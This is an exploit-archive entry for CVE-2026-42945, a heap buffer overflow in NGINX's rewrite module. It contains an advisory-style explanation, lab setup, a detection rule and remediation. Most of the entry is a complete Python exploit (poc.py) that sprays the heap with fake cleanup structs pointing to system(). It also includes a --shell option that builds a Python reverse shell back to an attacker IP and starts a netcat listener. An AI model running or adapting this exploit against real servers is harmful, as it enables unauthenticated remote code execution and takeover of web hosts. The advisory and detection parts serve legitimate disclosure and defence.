PoC Archive PoC Archive
Critical CVE-2026-42945 unpatched

NGINX Rift — Heap Buffer Overflow RCE (CVE-2026-42945)

by depthfirst · 2026-05-14

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-42945
Category
web
Affected product
NGINX Open Source / NGINX Plus
Affected versions
NGINX 0.6.27 – 1.30.0; NGINX Plus R32 – R36
Disclosed
2026-05-14
Patch status
unpatched

Metadata

FieldValue
Date Added2026-05-14
Author / Researcherdepthfirst
CVE / AdvisoryCVE-2026-42945
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3)
StatusWeaponized
TagsRCE, unauthenticated, nginx, heap-overflow, buffer-overflow, rewrite

Affected Target

FieldValue
Software / SystemNGINX Open Source / NGINX Plus
Versions AffectedNGINX 0.6.27 – 1.30.0; NGINX Plus R32 – R36
Language / PlatformC / Linux x86-64
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-42945 is a critical heap buffer overflow in NGINX’s ngx_http_rewrite_module that has existed since 2008. When a server configuration combines a rewrite rule containing ? with a set directive, NGINX’s two-pass script engine allocates an undersized buffer (based on the raw capture length) but then copies data with URI escape expansion — overflowing the heap with attacker-controlled URI bytes. An unauthenticated remote attacker can exploit this via heap feng shui to achieve arbitrary Remote Code Execution as the NGINX worker process user.


Vulnerability Details

Root Cause

NGINX’s script engine uses a two-pass process: first compute the required buffer size, then copy data. The is_args flag is set on the main engine when a rewrite replacement contains ?, but the length-calculation pass runs on a freshly zeroed sub-engine. As a result:

  • Length pass sees is_args = 0 → returns the raw URI capture length.
  • Copy pass sees is_args = 1 → calls ngx_escape_uri with NGX_ESCAPE_ARGS, expanding each escapable byte to 3 bytes (%XX).

The copy therefore overflows the undersized heap buffer by up to 3× the number of escapable bytes in the attacker-supplied URI segment.

Attack Vector

An unauthenticated attacker sends a crafted HTTP GET request to the vulnerable /api/<payload> location. The payload contains URI bytes (+ chars) that are safe to transmit but are expanded during the copy pass. Concurrent POST requests to a /spray location are used to perform heap feng shui — spraying fake ngx_pool_cleanup_s structs into adjacent heap memory containing a pointer to system() and a pointer to an attacker-controlled command string. When the overflowed ngx_pool_t’s cleanup pointer is redirected to this fake struct and the pool is destroyed, system() is called with the attacker’s command.

Impact

Remote Code Execution as the NGINX worker process user (typically www-data or nginx). The exploit as implemented achieves a reverse shell. Requires ASLR to be disabled (or bypassed separately); the provided PoC targets a deterministic lab environment.


Environment / Lab Setup

OS:          Ubuntu 22.04 LTS (24.04.3 LTS also tested)
Target:      NGINX built from source at commit 98fc3bb78 (covers 0.6.27 – 1.30.0)
             Docker container with ASLR disabled via setarch -R
Attacker:    Same host / LAN
Tools:       Python 3, Docker, Docker Compose, netcat

Setup Steps

1
2
3
4
5
6
7
8
./setup.sh

docker compose -f env/docker-compose.yml up

python3 poc.py --shell

python3 poc.py --cmd 'echo hello from depthfirst > /tmp/pwned'
docker compose -f env/docker-compose.yml exec nginx cat /tmp/pwned

Proof of Concept

Step-by-Step Reproduction

  1. Build the container — compile NGINX at the vulnerable commit with ASLR disabled.

    1
    2
    
    ./setup.sh
    docker compose -f env/docker-compose.yml up -d
    
  2. Spray heap — the exploit sends N_SPRAY=20 concurrent POST requests to /spray with 4 KB bodies containing a fake ngx_pool_cleanup_s struct ({system_addr, data_addr, 0}) followed by the shell command string. These POST bodies are stored in worker pool memory adjacent to future allocations.

  3. Trigger overflow — a GET request to /api/<349×'A'><969×'+'><6-byte addr> is sent. The 969 + chars each expand to %2B (3 bytes) during the copy pass, overflowing the 969-byte allocation by ~1938 bytes and corrupting an adjacent ngx_pool_t’s cleanup pointer with the pre-sprayed fake cleanup struct address.

  4. Execute command — a second connection causes the corrupted worker’s pool to be destroyed, invoking system(cmd).

    1
    
    python3 poc.py --cmd 'id > /tmp/pwned'
    

Exploit Code

See poc.py in this folder.

1
2
payload = "A" * 349 + "+" * 969 + target_addr_bytes
requests.get(f"http://target:19321/api/{payload}")

Expected Output

[*] Waiting for nginx on 127.0.0.1:19321...
[+] Connected.
[+] try 1/10 crashed — system("echo hello from depthfirst > /tmp/pwned") executed
[+] Done.

Screenshots / Evidence

  • screenshots/ — add evidence of successful exploitation here

Detection & Indicators of Compromise

"GET /api/AAAA...++++...%XX HTTP/1.1" 499
"POST /spray HTTP/1.1" 200

SIEM / IDS Rule (example):

alert http any any -> $HTTP_SERVERS any (msg:"Possible nginx-rift exploit attempt"; \
  content:"/api/"; http_uri; pcre:"/\/api\/[^?]{300,}/U"; sid:9000002; rev:1;)

Remediation

ActionDetail
PatchUpgrade NGINX Open Source to 1.31.0 or 1.30.1; NGINX Plus to R36 P4, R35 P2, or R32 P6
WorkaroundRemove or refactor rewrite … ? + set directive combinations from server config
Config HardeningRestrict URI character sets with valid_referers / WAF rules; enable ASLR on production hosts

References


Notes

Auto-ingested from https://github.com/DepthFirstDisclosures/Nginx-Rift on 2026-05-14.

Three related memory-corruption CVEs were reported alongside this issue: CVE-2026-42946, CVE-2026-40701, CVE-2026-42934. The exploit requires ASLR to be disabled; exploitation against ASLR-hardened targets would require an additional information leak primitive.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
#!/usr/bin/env python3
# DISCLAIMER: This exploit code is provided for authorized security research and
# educational purposes only. Use only on systems you own or have explicit written
# permission to test. Unauthorized use is illegal and unethical.
import argparse
import socket
import struct
import time
import sys

BODY_LEN = 4000
N_SPRAY = 20

SAFE = set()
_t = [0xffffffff, 0xd800086d, 0x50000000, 0xb8000001,
      0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff]
for _b in range(256):
    if not (_t[_b >> 5] & (1 << (_b & 0x1f))):
        SAFE.add(_b)

HEAP_BASE = 0x555555659000
LIBC_BASE = 0x7ffff77ba000
SYSTEM_ADDR = LIBC_BASE + 0x50d70

PREREAD_HEAP_OFFSETS = [
    0x05a427, 0x060e67,
    0x0ba557, 0x0bf367, 0x0c4177, 0x0c8f87, 0x0cdd97,
    0x0d2ba7, 0x0d79b7, 0x0dc7c7, 0x0e15d7, 0x0e63e7,
    0x0eb1f7, 0x0f0007, 0x0f4e17, 0x0f9c27, 0x0fea37,
    0x103847, 0x108657, 0x10d467,
]


def addr_is_safe(addr):
    return all(((addr >> (j * 8)) & 0xff) in SAFE for j in range(6))


def make_body(cmd, data_addr):
    fake_struct = struct.pack('<QQQ', SYSTEM_ADDR, data_addr, 0)
    cmd_bytes = cmd.encode('utf-8') + b'\x00'
    payload = fake_struct + cmd_bytes
    if len(payload) > BODY_LEN:
        print(f"[!] Command too long (body={len(payload)}, max={BODY_LEN})")
        sys.exit(1)
    return payload + b'\x41' * (BODY_LEN - len(payload))


def wait_alive(host, port, timeout=30):
    for _ in range(timeout):
        try:
            s = socket.create_connection((host, port), timeout=2)
            s.sendall(b"GET / HTTP/1.1\r\nHost:l\r\nConnection:close\r\n\r\n")
            s.recv(100)
            s.close()
            return True
        except Exception:
            time.sleep(1)
    return False


def attempt(host, port, target_bytes, body):
    sprays = []
    for i in range(N_SPRAY):
        try:
            s = socket.create_connection((host, port), timeout=5)
            req = (
                b"POST /spray HTTP/1.1\r\n"
                b"Host: l\r\n"
                b"Content-Length: " + str(BODY_LEN).encode() + b"\r\n"
                b"X-Delay: 60\r\n"
                b"Connection: close\r\n"
                b"\r\n"
                + body
            )
            s.sendall(req)
            sprays.append(s)
        except Exception:
            break
        time.sleep(0.005)
    time.sleep(0.2)

    try:
        a = socket.create_connection((host, port), timeout=5)
        time.sleep(0.02)
        v = socket.create_connection((host, port), timeout=5)
        time.sleep(0.02)
    except Exception:
        for s in sprays:
            try:
                s.close()
            except Exception:
                pass
        return False

    payload = "A" * 349 + "+" * 969 + target_bytes.decode("latin-1")
    a.sendall((f"GET /api/{payload} HTTP/1.1\r\n"
               f"Host:localhost\r\n").encode("latin-1"))
    time.sleep(0.05)
    v.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\n")
    time.sleep(0.05)
    a.sendall(b"X-Delay:60\r\nConnection:close\r\n\r\n")
    time.sleep(0.2)

    v.close()
    time.sleep(0.1)

    crashed = False
    try:
        a.sendall(b"X-Ping:1\r\n")
        a.settimeout(0.2)
        data = a.recv(1)
        if not data:
            crashed = True
    except socket.timeout:
        # It timed out. Nginx is either alive (waiting for backend) or hung in system().
        # Let's try to make a new connection to see if the worker is responsive.
        try:
            check_sock = socket.create_connection((host, port), timeout=0.2)
            check_sock.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\nConnection:close\r\n\r\n")
            check_data = check_sock.recv(10)
            check_sock.close()
            if not check_data:
                crashed = True
            else:
                crashed = False
        except Exception:
            crashed = True
    except (ConnectionResetError, BrokenPipeError, OSError):
        crashed = True

    for s in sprays:
        try:
            s.close()
        except Exception:
            pass
    try:
        a.close()
    except Exception:
        pass
    return crashed


def main():
    parser = argparse.ArgumentParser(
        description="nginx rift RCE exploit (ASLR disabled)"
    )
    parser.add_argument("--host", default="127.0.0.1",
                        help="target host (default: 127.0.0.1)")
    parser.add_argument("--port", type=int, default=19321,
                        help="target port (default: 19321)")
    parser.add_argument("--cmd",
                        help="shell command to execute via system()")
    parser.add_argument("--shell", action="store_true",
                        help="execute a reverse shell back to the attacker")
    parser.add_argument("--listen-port", type=int, default=1337,
                        help="port to listen on for reverse shell (default: 1337)")
    parser.add_argument("--listen-ip", type=str, default="172.17.0.1",
                        help="IP address for reverse shell to connect back to (default: 172.17.0.1)")
    args = parser.parse_args()

    if not args.cmd and not args.shell:
        parser.error("either --cmd or --shell must be specified")
    if args.cmd and args.shell:
        parser.error("cannot specify both --cmd and --shell")

    host = args.host
    port = args.port
    
    if args.shell:
        local_ip = args.listen_ip
        cmd = f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_ip}\",{args.listen_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
        print(f"[*] Generated reverse shell command: {cmd}")
    else:
        cmd = args.cmd

    if args.shell:
        import threading
        def listen_shell():
            print(f"[*] Listening for reverse shell on port {args.listen_port}...")
            # Use netcat if available, otherwise just use a simple socket listener
            import subprocess
            try:
                subprocess.run(["nc", "-l", "-p", str(args.listen_port)], check=True)
            except Exception:
                print(f"[!] Could not start netcat. Please run: nc -l -p {args.listen_port}")
                
        t = threading.Thread(target=listen_shell)
        t.daemon = True
        t.start()
        # Give the listener a moment to start
        time.sleep(1)

    candidates = []
    for i, off in enumerate(PREREAD_HEAP_OFFSETS):
        addr = HEAP_BASE + off
        if addr_is_safe(addr):
            candidates.append((i, addr))

    primary_addr = candidates[0][1]
    data_addr = primary_addr + 24
    body = make_body(cmd, data_addr)

    print(f"[*] Waiting for nginx on {host}:{port}...")
    if not wait_alive(host, port):
        print("[!] nginx not responding")
        return 1
    print("[+] Connected.")

    TRIES_PER_CANDIDATE = 10

    for i, addr in candidates:
        target = bytes([(addr >> (j * 8)) & 0xff for j in range(6)])

        for t in range(TRIES_PER_CANDIDATE):
            if not wait_alive(host, port, timeout=10):
                time.sleep(2)
                if not wait_alive(host, port, timeout=10):
                    print("    server not recovering, aborting")
                    return 1

            crashed = attempt(host, port, target, body)
            if crashed:
                if args.shell:
                    try:
                        while True:
                            time.sleep(1)
                    except KeyboardInterrupt:
                        pass
                else:
                    print(f"[+] try {t + 1}/{TRIES_PER_CANDIDATE} "
                      f"crashed — system(\"{cmd}\") executed")
                print(f"[+] Done.")
                return 0
            time.sleep(0.3)

        print("[+] All candidates tried — no crash detected.")
    return 0


if __name__ == "__main__":
    sys.exit(main())